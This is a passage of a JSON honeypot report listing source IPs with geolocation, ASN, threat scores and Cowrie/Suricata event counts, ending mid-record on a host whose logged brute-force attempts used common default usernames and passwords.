      "last_seen": "2026-05-11T14:53:44.370Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 135269,
      "as_org": "Fast 4 Technologies",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T14:53:30.778000+00:00",
        "last_seen_30d": "2026-05-11T14:54:51.101000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.38.2.44": {
      "attack_count": 2,
      "first_seen": "2026-05-17T06:04:13.812Z",
      "last_seen": "2026-05-17T06:04:18.360Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Dehradun",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T06:04:13.812000+00:00",
        "last_seen_30d": "2026-05-17T06:05:25.624000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.80.240.173": {
      "attack_count": 2,
      "first_seen": "2026-05-17T22:55:14.611Z",
      "last_seen": "2026-05-17T22:55:27.335Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Nuevo Ideal",
      "asn": 265525,
      "as_org": "TV CABLE DEL GUADIANA S.A DE C.V.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T22:55:14.611000+00:00",
        "last_seen_30d": "2026-05-17T22:56:35.060000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.83.116.26": {
      "attack_count": 2,
      "first_seen": "2026-05-24T20:34:43.102Z",
      "last_seen": "2026-05-24T20:36:43.106Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Honduras",
      "country_code": "HN",
      "city": "San Pedro Sula",
      "asn": 271971,
      "as_org": "CABLE SATELITE S.DE R.L. DE C.V.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T20:34:43.102000+00:00",
        "last_seen_30d": "2026-05-24T20:37:52.096000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.70.77.6": {
      "attack_count": 2,
      "first_seen": "2026-05-23T22:42:06.366Z",
      "last_seen": "2026-05-23T22:44:06.374Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Catu\u00edpe",
      "asn": 262544,
      "as_org": "RazaoInfo Internet Ltda",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T22:42:06.366000+00:00",
        "last_seen_30d": "2026-05-23T22:54:48.583000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "178.125.232.114": {
      "attack_count": 2,
      "first_seen": "2026-05-19T09:38:29.153Z",
      "last_seen": "2026-05-19T09:38:41.973Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belarus",
      "country_code": "BY",
      "city": "Minsk",
      "asn": 6697,
      "as_org": "Republican Unitary Telecommunication Enterprise Beltelecom",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T09:38:29.153000+00:00",
        "last_seen_30d": "2026-05-19T09:39:48.291000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.165.249.36": {
      "attack_count": 2,
      "first_seen": "2026-05-13T11:52:25.472Z",
      "last_seen": "2026-05-13T11:52:38.764Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Bullas",
      "asn": 29119,
      "as_org": "Aire Networks Del Mediterraneo Sl Unipersonal",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T11:52:25.472000+00:00",
        "last_seen_30d": "2026-05-13T11:53:39.983000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.172.95.148": {
      "attack_count": 2,
      "first_seen": "2026-05-09T15:23:17.680Z",
      "last_seen": "2026-05-09T15:23:31.193Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Mazatl\u00e1n",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T15:23:17.680000+00:00",
        "last_seen_30d": "2026-05-09T15:24:33.484000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.12.70.185": {
      "attack_count": 2,
      "first_seen": "2026-05-08T23:18:52.305Z",
      "last_seen": "2026-05-08T23:19:05.363Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ub\u00e1",
      "asn": 7738,
      "as_org": "V tal",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T23:18:52.305000+00:00",
        "last_seen_30d": "2026-05-08T23:20:08.564000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.92.127.117": {
      "attack_count": 2,
      "first_seen": "2026-05-17T02:57:05.912Z",
      "last_seen": "2026-05-17T02:57:18.211Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campinas",
      "asn": 22085,
      "as_org": "Claro SA",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T02:57:05.912000+00:00",
        "last_seen_30d": "2026-05-17T02:58:19.564000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "192.141.123.240": {
      "attack_count": 2,
      "first_seen": "2026-05-26T02:24:41.998Z",
      "last_seen": "2026-05-26T02:26:42.069Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Po\u00e7\u00f5es",
      "asn": 267466,
      "as_org": "MVF NETWORK",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T02:24:41.998000+00:00",
        "last_seen_30d": "2026-05-26T02:28:25.267000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "194.163.170.142": {
      "attack_count": 2,
      "first_seen": "2026-05-03T06:49:29.153Z",
      "last_seen": "2026-05-03T06:50:01.091Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T06:49:29.153000+00:00",
        "last_seen_30d": "2026-05-03T06:51:10.174000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "194.230.160.156": {
      "attack_count": 2,
      "first_seen": "2026-05-05T02:57:28.961Z",
      "last_seen": "2026-05-05T02:57:41.714Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Basel",
      "asn": 6730,
      "as_org": "Sunrise GmbH",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:57:28.961000+00:00",
        "last_seen_30d": "2026-05-05T02:58:43.632000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "197.189.145.111": {
      "attack_count": 2,
      "first_seen": "2026-05-08T19:41:42.815Z",
      "last_seen": "2026-05-08T19:41:55.933Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lesotho",
      "country_code": "LS",
      "city": "Maseru",
      "asn": 37057,
      "as_org": "VODACOM-LESOTHO",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:41:42.815000+00:00",
        "last_seen_30d": "2026-05-08T19:43:03.012000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "197.2.38.242": {
      "attack_count": 2,
      "first_seen": "2026-05-27T16:28:55.538Z",
      "last_seen": "2026-05-27T16:30:55.539Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tunisia",
      "country_code": "TN",
      "city": "Tunis",
      "asn": 37705,
      "as_org": "TOPNET",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T16:28:55.538000+00:00",
        "last_seen_30d": "2026-05-27T16:31:59.562000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "198.235.24.130": {
      "attack_count": 2,
      "first_seen": "2026-05-21T15:23:47.025Z",
      "last_seen": "2026-05-21T15:24:18.137Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 56.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.3,
        "persistence": 16.7,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 20,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-10T04:21:56+00:00",
        "last_seen_30d": "2026-05-29T01:14:36.654000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Honeytrap": 7,
        "Cowrie": 2
      }
    },
    "198.235.24.79": {
      "attack_count": 2,
      "first_seen": "2026-05-24T00:03:26.696Z",
      "last_seen": "2026-05-24T00:03:36.587Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 78.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.6,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 27,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T01:24:08.926000+00:00",
        "last_seen_30d": "2026-05-28T21:36:14.857000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Honeytrap": 24,
        "Adbhoney": 4,
        "Cowrie": 2,
        "Dionaea": 2
      }
    },
    "213.149.181.32": {
      "attack_count": 2,
      "first_seen": "2026-05-22T19:33:02.811Z",
      "last_seen": "2026-05-22T19:33:15.694Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Cyprus",
      "country_code": "CY",
      "city": "Limassol",
      "asn": 6866,
      "as_org": "Cyprus Telecommunications Authority",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T19:33:02.811000+00:00",
        "last_seen_30d": "2026-05-22T19:34:18.162000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "222.184.212.129": {
      "attack_count": 2,
      "first_seen": "2026-05-04T06:26:34.538Z",
      "last_seen": "2026-05-04T06:26:47.078Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T06:26:34.538000+00:00",
        "last_seen_30d": "2026-05-04T06:27:49.636000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.199.89.195": {
      "attack_count": 2,
      "first_seen": "2026-05-16T02:28:24.514Z",
      "last_seen": "2026-05-16T02:28:36.970Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T02:28:24.514000+00:00",
        "last_seen_30d": "2026-05-16T02:29:40.750000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.180.129.19": {
      "attack_count": 2,
      "first_seen": "2026-05-13T03:34:24.671Z",
      "last_seen": "2026-05-13T03:34:37.612Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Mikhaylovka",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T03:34:24.671000+00:00",
        "last_seen_30d": "2026-05-13T03:35:38.567000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.191.81.135": {
      "attack_count": 2,
      "first_seen": "2026-05-02T17:15:32.913Z",
      "last_seen": "2026-05-02T17:15:46.246Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Resistencia",
      "asn": 269906,
      "as_org": "Chaco Digital SA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T17:15:32.913000+00:00",
        "last_seen_30d": "2026-05-02T17:16:51.600000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.50.203.110": {
      "attack_count": 2,
      "first_seen": "2026-05-05T03:38:59.941Z",
      "last_seen": "2026-05-05T03:39:14.274Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:38:59.941000+00:00",
        "last_seen_30d": "2026-05-05T03:40:18.759000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "62.32.84.242": {
      "attack_count": 2,
      "first_seen": "2026-05-12T20:53:26.524Z",
      "last_seen": "2026-05-12T20:53:38.927Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Almaty",
      "asn": 43370,
      "as_org": "OBIT-telecommunications, LLC",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T20:53:26.524000+00:00",
        "last_seen_30d": "2026-05-12T20:54:40.298000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "83.224.179.157": {
      "attack_count": 2,
      "first_seen": "2026-05-20T14:44:37.577Z",
      "last_seen": "2026-05-20T14:44:50.477Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Sant'Angelo Lodigiano",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T14:44:37.577000+00:00",
        "last_seen_30d": "2026-05-20T14:45:56.314000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "86.19.62.253": {
      "attack_count": 2,
      "first_seen": "2026-05-14T03:29:03.486Z",
      "last_seen": "2026-05-14T03:31:03.492Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Orpington",
      "asn": 5089,
      "as_org": "Virgin Media",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T03:29:03.486000+00:00",
        "last_seen_30d": "2026-05-14T03:41:59.287000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.196.152.147": {
      "attack_count": 2,
      "first_seen": "2026-05-13T07:33:52.432Z",
      "last_seen": "2026-05-13T07:34:03.963Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 10.0,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 12,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T17:03:39+00:00",
        "last_seen_30d": "2026-05-14T12:10:29.349000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "99.241.112.170": {
      "attack_count": 2,
      "first_seen": "2026-05-09T21:00:10.987Z",
      "last_seen": "2026-05-09T21:00:24.331Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 812,
      "as_org": "Rogers Communications Canada Inc.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T21:00:10.987000+00:00",
        "last_seen_30d": "2026-05-09T21:01:34.131000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.246.130.20": {
      "attack_count": 802,
      "first_seen": "2026-05-02T05:53:40.080Z",
      "last_seen": "2026-05-31T20:35:39.863Z",
      "sessions": 97,
      "ports": [],
      "usernames_attempted": [
        "0",
        "authority",
        "ddd",
        "ftp1",
        "oracle",
        "admin",
        "qaz",
        "root",
        "test1",
        "ubuntu",
        "ui",
        "xiaoxiao",
        "a"
      ],
      "passwords_attempted": [
        "0",
        "authority",
        "ddd",
        "ftp1",
        "or4cl3",
        "123456",
        "admin",
        "password",
        "root!@#$",
        "test1",
        "ubuntu1234",
        "ui",
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
